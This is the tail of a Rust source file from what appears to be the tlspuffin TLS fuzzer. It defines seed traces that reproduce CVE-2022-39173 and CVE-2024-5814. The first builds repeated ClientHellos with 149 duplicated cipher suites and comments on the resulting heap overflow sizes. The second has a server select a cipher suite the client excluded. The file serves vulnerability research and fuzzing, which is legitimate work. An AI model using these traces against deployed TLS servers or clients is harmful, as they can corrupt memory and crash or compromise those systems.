1057            (fn_get_ticket_nonce((@new_ticket_message))),
1058            fn_named_group_secp384r1,
1059            fn_new_random,
1060            fn_cipher_suite13_aes_128_gcm_sha256
1061        )
1062    };
1063
1064    let binder = term! {
1065        fn_derive_binder(
1066            (@client_hello),
1067            (@psk),
1068            fn_cipher_suite13_aes_128_gcm_sha256
1069        )
1070    };
1071
1072    let full_client_hello = term! {
1073        fn_fill_binder(
1074            (@client_hello),
1075            (@binder)
1076        )
1077    };
1078
1079    Trace {
1080        // Step 1: Prior trace performs an initial TLS 1.3 session with a full handshake and
1081        // establishes a PSK, including Client Hello number 1 (`CH1`).
1082        prior_traces: vec![initial_handshake],
1083        descriptors: vec![TLSDescriptorConfig::new_server(server, TLSVersion::V1_3)],
1084        steps: vec![
1085            // Step 2: sends a Client Hello (CH2) with a missing support_group_extension that will
1086            // make the server enters the state `SERVER_HELLO_RETRY_REQUEST_COMPLETE`
1087            // and with PSK resuming previous session. CH2 includes a list of repeated
1088            // ciphers that will be stored in ssl->suites->suites.
1089            Step {
1090                agent: server,
1091                action: Action::Input(input_action! { term! {
1092                        @full_client_hello
1093                    }
1094                }),
1095            },
1096            // Step 3: sends a Client Hello (CH3) with a missing support_group_extension that will
1097            // keep the server in the state `SERVER_HELLO_RETRY_REQUEST_COMPLETE` and
1098            // with PSK resuming previous session. CH3 includes a list of repeated
1099            // ciphers that will be matched against ssl->suites->suites.
1100            // Since ssl->suites->suites already contain repeated ciphers, the function
1101            // refineSuites in tls13.c will wrongly consider all pairs leading to an
1102            // explosion of sizeSz and the buffer overflow. Note: CH3 could also
1103            // include support_group_extension.
1104            Step {
1105                agent: server,
1106                action: Action::Input(input_action! { term! {
1107                        @full_client_hello
1108                    }
1109                }),
1110            },
1111        ],
1112        ..Default::default()
1113    }
1114}
1115
1116pub fn seed_cve_2022_39173_full(
1117    initial_server: AgentName,
1118    server: AgentName,
1119) -> Trace<TLSProtocolTypes> {
1120    let (
1121        initial_handshake,
1122        server_hello_transcript,
1123        server_finished_transcript,
1124        client_finished_transcript,
1125    ) = _seed_client_attacker_full(initial_server);
1126
1127    let new_ticket_message = term! {
1128        fn_decrypt_application(
1129            ((initial_server, 4)[Some(TlsQueryMatcher::ApplicationData)]), // Ticket?
1130            (@server_hello_transcript),
1131            (@server_finished_transcript),
1132            (fn_get_server_key_share(((initial_server, 0)))),
1133            fn_no_psk,
1134            fn_named_group_secp384r1,
1135            fn_true,
1136            fn_seq_0, // sequence restarts at 0 because we are decrypting now traffic
1137            fn_new_random,
1138            fn_cipher_suite13_aes_128_gcm_sha256
1139        )
1140    };
1141
1142    let mut cipher_suites = term! { fn_new_cipher_suites() };
1143
1144    for _ in 0..149 {
1145        // 200 is too large already
1146        cipher_suites = term! {
1147            fn_append_cipher_suite(
1148                (@cipher_suites),
1149                fn_cipher_suite13_aes_128_gcm_sha256 // For 5.5.0 this MUST be a supported cipher suite
1150                //fn_cipher_suite12 // Works for 5.4.0
1151            )
1152        };
1153    }
1154
1155    let client_hello = term! {
1156          fn_client_hello(
1157            fn_protocol_version12,
1158            fn_new_random,
1159            fn_new_session_id,
1160            (fn_cipher_suites_make(
1161                 (fn_append_cipher_suite(
1162                   (@cipher_suites), // CHANGED FROM: (fn_new_cipher_suites()),
1163                  fn_cipher_suite13_aes_128_gcm_sha256
1164            )))),
1165            fn_compressions,
1166            (fn_client_extensions_make(
1167            (fn_client_extensions_append(
1168                (fn_client_extensions_append(
1169                    (fn_client_extensions_append(
1170                        (fn_client_extensions_append(
1171                            (fn_client_extensions_append(
1172                                fn_client_extensions_new,
1173                                // CHANGED from: (fn_client_extensions_append(
1174                                // CHANGED from:     fn_client_extensions_new,
1175                                // CHANGED from:     (fn_support_group_extension(fn_named_group_secp384r1))
1176                                // CHANGED from: )),
1177                                (fn_signature_algorithm_extension(
1178                                    (fn_supported_signature_schemes_extension_append(
1179                                        (fn_supported_signature_schemes_extension_append(
1180                                            fn_supported_signature_schemes_extension_new,
1181                                            fn_sig_scheme_rsa_pkcs1_sha256
1182                                        )),
1183                                        fn_sig_scheme_rsa_pss_sha256
1184                                    ))
1185                                ))
1186                            )),
1187                            fn_supported_versions13_extension
1188                        )),
1189                        (fn_key_share_extension_make(
1190                            (fn_key_share_extension_append(
1191                                fn_key_share_extension_new,
1192                                (fn_key_share_deterministic(fn_named_group_secp384r1))
1193                            ))
1194                        ))
1195                    )),
1196                    fn_psk_exchange_mode_dhe_ke_extension
1197                )),
1198                // https://datatracker.ietf.org/doc/html/rfc8446#section-2.2
1199                // must be last in client_hello, and initially empty until filled by fn_fill_binder
1200                (fn_preshared_keys_extension_empty_binder(
1201                    (@new_ticket_message)
1202                ))
1203            ))
1204        )))
1205    };
1206
1207    let psk = term! {
1208        fn_derive_psk(
1209            (@server_hello_transcript),
1210            (@server_finished_transcript),
1211            (@client_finished_transcript),
1212            (fn_get_server_key_share(((initial_server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerHello)))]))),
1213            (fn_get_ticket_nonce((@new_ticket_message))),
1214            fn_named_group_secp384r1,
1215            fn_new_random,
1216            fn_cipher_suite13_aes_128_gcm_sha256
1217        )
1218    };
1219
1220    let binder = term! {
1221        fn_derive_binder(
1222            (@client_hello),
1223            (@psk),
1224            fn_cipher_suite13_aes_128_gcm_sha256
1225        )
1226    };
1227
1228    let full_client_hello = term! {
1229        fn_fill_binder(
1230            (@client_hello),
1231            (@binder)
1232        )
1233    };
1234
1235    Trace {
1236        prior_traces: vec![initial_handshake],
1237        descriptors: vec![TLSDescriptorConfig::new_server(server, TLSVersion::V1_3)],
1238        steps: vec![
1239            Step {
1240                agent: server,
1241                action: Action::Input(input_action! { term! {
1242                        @full_client_hello
1243                    }
1244                }),
1245            },
1246            Step {
1247                agent: server,
1248                action: Action::Input(input_action! { term! {
1249                        @full_client_hello
1250                    }
1251                }),
1252            },
1253        ],
1254        ..Default::default()
1255    }
1256}
1257
1258pub fn seed_cve_2022_39173_minimized(server: AgentName) -> Trace<TLSProtocolTypes> {
1259    // WAS REQUIRED: let initial_handshake = seed_client_attacker(initial_server);
1260
1261    let new_ticket_message = term! {
1262        fn_new_session_ticket13(  // DUMMY resumption ticket
1263            (fn_payload_u8(fn_alice_cert)),
1264            (fn_payload_u16(fn_alice_cert)),
1265            (fn_new_session_ticket_extensions(fn_new_session_ticket_extensions_new))
1266        )
1267        // WAS:
1268        // fn_decrypt_application(
1269        //     ((initial_server, 4)[Some(TlsQueryMatcher::ApplicationData)]), // Ticket from last session
1270        //     (fn_server_hello_transcript(((initial_server, 0)))),
1271        //     (fn_server_finished_transcript(((initial_server, 0)))),
1272        //     (fn_get_server_key_share(((initial_server, 0)))),
1273        //     fn_no_psk,
1274        //     fn_named_group_secp384r1,
1275        //     fn_true,
1276        //     fn_seq_0 // sequence restarts at 0 because we are decrypting now traffic
1277        // )
1278    };
1279
1280    let mut cipher_suites = term! { fn_new_cipher_suites() };
1281    for _ in 0..149 {
1282        // also works with 149, 150 leads a too large list of suites (as expected)
1283        // Maximum reached suitesSz value depending on the number of ciphers in the list:
1284        // 149 -> suiteSz reaches >29461 (overflow of > 29161 bytes)
1285        // 14 -> suiteSz reaches 450 (overflow of 150 bytes)
1286        // 13 -> suiteSz reaches 392  (overflow of 92 bytes)
1287        // 12 -> suiteSz reaches 338  (overflow of 38 bytes)
1288        // 11 -> suiteSz remains below 300
1289        cipher_suites = term! {
1290            fn_append_cipher_suite(
1291                (@cipher_suites),
1292                fn_cipher_suite13_aes_256_gcm_sha384 // For 5.5.0 this MUST be a supported cipher suite
1293                //fn_cipher_suite12 // Works for 5.4.0
1294            )
1295        };
1296    }
1297
1298    let client_hello = term! {
1299          fn_client_hello(
1300            fn_protocol_version12,
1301            fn_new_random,
1302            fn_new_session_id,
1303            (fn_cipher_suites_make(
1304                  (fn_append_cipher_suite(
1305                   (@cipher_suites), // CHANGED FROM: (fn_new_cipher_suites()),
1306                  // CHANGED FROM fn_cipher_suite13_aes_128_gcm_sha256
1307                  fn_cipher_suite13_aes_256_gcm_sha384
1308            )))),
1309            fn_compressions,
1310            (fn_client_extensions_make(
1311            (fn_client_extensions_append(
1312                (fn_client_extensions_append(
1313                    (fn_client_extensions_append(
1314                        (fn_client_extensions_append(
1315                            (fn_client_extensions_append(
1316                                fn_client_extensions_new,
1317                                // CHANGED from: (fn_client_extensions_append(
1318                                // CHANGED from:     fn_client_extensions_new,
1319                                // CHANGED from:     (fn_support_group_extension(fn_named_group_secp384r1))
1320                                // CHANGED from: )),
1321                                // ^ lacks of the above makes the server enter a `SERVER_HELLO_RETRY_REQUEST_COMPLETE` state
1322                                (fn_signature_algorithm_extension(
1323                                    (fn_supported_signature_schemes_extension_append(
1324                                        (fn_supported_signature_schemes_extension_append(
1325                                            fn_supported_signature_schemes_extension_new,
1326                                            fn_sig_scheme_rsa_pkcs1_sha256
1327                                        )),
1328                                        fn_sig_scheme_rsa_pss_sha256
1329                                    ))
1330                                ))
1331                            )),
1332                            fn_supported_versions13_extension
1333                        )),
1334                        (fn_key_share_extension_make(
1335                            (fn_key_share_extension_append(
1336                                fn_key_share_extension_new,
1337                                (fn_key_share_deterministic(fn_named_group_secp384r1))
1338                            ))
1339                        ))
1340                    )),
1341                    fn_psk_exchange_mode_dhe_ke_extension
1342                )),
1343                // https://datatracker.ietf.org/doc/html/rfc8446#section-2.2
1344                // must be last in client_hello, and initially empty until filled by fn_fill_binder
1345                (fn_preshared_keys_extension_empty_binder(
1346                    (@new_ticket_message)
1347                ))
1348            ))
1349        )))
1350    };
1351
1352    Trace {
1353        // No more need for a prior trace and a full handshake.
1354        prior_traces: vec![], // WAS [initial_handshake],
1355        descriptors: vec![TLSDescriptorConfig::new_server(server, TLSVersion::V1_3)],
1356        steps: vec![
1357            Step {
1358                agent: server,
1359                action: Action::Input(input_action! { term! {
1360                        @client_hello
1361                    }
1362                }),
1363            },
1364            Step {
1365                agent: server,
1366                action: Action::Input(input_action! { term! {
1367                        @client_hello
1368                    }
1369                }),
1370            },
1371        ],
1372        ..Default::default()
1373    }
1374}
1375
1376/// <https://nvd.nist.gov/vuln/detail/CVE-2024-5814>
1377pub fn seed_cve_2024_5814(client: AgentName) -> Trace<TLSProtocolTypes> {
1378    let selected_cipher_suite = term! { fn_excluded_cipher_suite };
1379    let server_hello = term! {
1380        fn_server_hello(
1381            fn_protocol_version12,
1382            fn_new_random,
1383            ((client, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ClientHello)))]),
1384            (@selected_cipher_suite),      // Using a cipher not in configuration cipher string
1385            fn_compression,
1386            (fn_server_extensions_make(
1387                (fn_server_extensions_append(
1388                    fn_server_extensions_new,
1389                    (fn_renegotiation_info_server_extension((fn_payload_u8(fn_empty_bytes_vec))))
1390            ))))
1391        )
1392    };
1393
1394    let server_hello_transcript = term! {
1395        fn_append_transcript(
1396            (fn_append_transcript(
1397                fn_new_transcript12,
1398                ((client, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ClientHello)))]) // ClientHello
1399            )),
1400            (@server_hello) // plaintext ServerHello
1401        )
1402    };
1403
1404    let server_certificate = term! {
1405        fn_certificate(
1406            (fn_append_certificate(
1407                fn_new_certificates,
1408                (fn_certificate_from_vec_u8(fn_alice_cert))
1409            ))
1410        )
1411    };
1412
1413    let certificate_transcript = term! {
1414        fn_append_transcript(
1415            (@server_hello_transcript),
1416            (@server_certificate)
1417        )
1418    };
1419
1420    let server_key_exchange = term! {
1421        fn_server_key_exchange(
1422            (fn_sign_rsa_ecdhe_server_key_exchange12(
1423                fn_named_group_secp384r1,
1424                ((client, 0)),
1425                fn_new_random,
1426                fn_alice_key
1427            ))
1428        )
1429    };
1430
1431    let server_key_exchange_transcript = term! {
1432      fn_append_transcript(
1433            (@certificate_transcript),
1434            (@server_key_exchange)
1435        )
1436    };
1437
1438    let server_hello_done_transcript = term! {
1439      fn_append_transcript(
1440            (@server_key_exchange_transcript),
1441            (fn_server_hello_done)
1442        )
1443    };
1444
1445    let client_key_exchange_transcript = term! {
1446        fn_append_transcript(
1447            (@server_hello_done_transcript),
1448            ((client, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ClientKeyExchange)))])
1449        )
1450    };
1451
1452    let client_ecdh_pubkey = term! {
1453        fn_decode_client_ecdh_pubkey(
1454            ((client, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ClientKeyExchange)))]/Vec<u8>) // ClientECDHParams
1455        )
1456    };
1457
1458    let client_finished_transcript = term! {
1459        fn_append_transcript(
1460            (@client_key_exchange_transcript),
1461            (fn_decrypt12( // Decrypt client finished
1462                ((client, 0)[Some(TlsQueryMatcher::Handshake(None))]), //EncryptedHandshake
1463                fn_new_random,
1464                (@client_ecdh_pubkey),
1465                fn_named_group_secp384r1,
1466                fn_false,
1467                fn_seq_0,
1468                ((client, 0)),
1469                (@selected_cipher_suite)
1470            ))
1471        )
1472    };
1473
1474    let server_verify_data = term! {
1475        fn_server_sign_transcript(
1476            fn_new_random,
1477            (@client_ecdh_pubkey),
1478            (@client_finished_transcript),
1479            fn_named_group_secp384r1,
1480            ((client, 0)),
1481            (@selected_cipher_suite)
1482        )
1483    };
1484
1485    Trace {
1486        prior_traces: vec![],
1487        descriptors: vec![TLSDescriptorConfig::new_client(client, TLSVersion::Both)],
1488        steps: vec![
1489            // Client Hello, Client -> Server
1490            OutputAction::new_step(client),
1491            // Server Hello, Server -> Client
1492            Step {
1493                agent: client,
1494                action: Action::Input(input_action! { server_hello
1495                }),
1496            },
1497            // Server Certificate, Server -> Client
1498            Step {
1499                agent: client,
1500                action: Action::Input(input_action! { server_certificate
1501                }),
1502            },
1503            // Server Key Exchange, Server -> Client
1504            Step {
1505                agent: client,
1506                action: Action::Input(input_action! { server_key_exchange
1507                }),
1508            },
1509            // Server Hello Done, Server -> Client
1510            Step {
1511                agent: client,
1512                action: Action::Input(input_action! { term! { fn_server_hello_done }
1513                }),
1514            },
1515            // Output messages from Client:
1516            // Client Key Exchange, Client -> Server
1517            // Client Change Cipher Spec, Client -> Server
1518            // Client Finished, Client -> Server
1519
1520            // Server Change Cipher Spec, Server -> Client
1521            Step {
1522                agent: client,
1523                action: Action::Input(input_action! { term! { fn_change_cipher_spec }
1524                }),
1525            },
1526            // Server Finished, Server -> Client
1527            Step {
1528                agent: client,
1529                action: Action::Input(input_action! { term! {
1530                        fn_encrypt12(
1531                            (fn_finished((@server_verify_data))),
1532                            fn_new_random,
1533                            (@client_ecdh_pubkey),
1534                            fn_named_group_secp384r1,
1535                            fn_false,
1536                            fn_seq_0,
1537                            ((client, 0)),
1538                            (@selected_cipher_suite)
1539                        )
1540                    }
1541                }),
1542            },
1543        ],
1544        ..Default::default()
1545    }
1546}
1547
1548#[cfg(test)]
1549pub mod tests {
1550    use puffin::algebra::TermType;
1551    use puffin::fuzzer::utils::TermConstraints;
1552
1553    #[allow(unused_imports)]
1554    use crate::{test_utils::prelude::*, tls::vulnerabilities::*};
1555
1556    #[test_log::test]
1557    fn test_term_sizes() {
1558        let client = AgentName::first();
1559        let _server = client.next();
1560
1561        for (name, trace) in [
1562            seed_cve_2022_25638.build_named_trace(),
1563            seed_cve_2022_25640.build_named_trace(),
1564            seed_cve_2021_3449.build_named_trace(),
1565            // seed_heartbleed.build_named_trace(),
1566            seed_freak.build_named_trace(),
1567            seed_cve_2022_25640_simple.build_named_trace(),
1568            seed_cve_2022_38153.build_named_trace(),
1569            // TODO: 685 seed_cve_2022_39173.build_named_trace(),
1570            // TODO: 1695 seed_cve_2022_39173_full.build_named_trace(),
1571            // TODO: 322 seed_cve_2022_39173_minimized.build_named_trace(),
1572        ] {
1573            for step in &trace.steps {
1574                match &step.action {
1575                    Action::Input(input) => {
1576                        // a seed step recipe must fit the per-step result cap, else the
1577                        // corpus boundary is misconfigured (see max_result_term_size)
1578                        let terms = input.recipe.size();
1579                        assert!(
1580                            terms < TermConstraints::default().max_result_term_size,
1581                            "{} has step with too large term size {}!",
1582                            name,
1583                            terms
1584                        );
1585                    }
1586                    Action::Output(_) => {}
1587                }
1588            }
1589        }
1590    }
1591}
tlspuffin/tls/vulnerabilities.rs

tlspuffin/tls/
vulnerabilities.rs
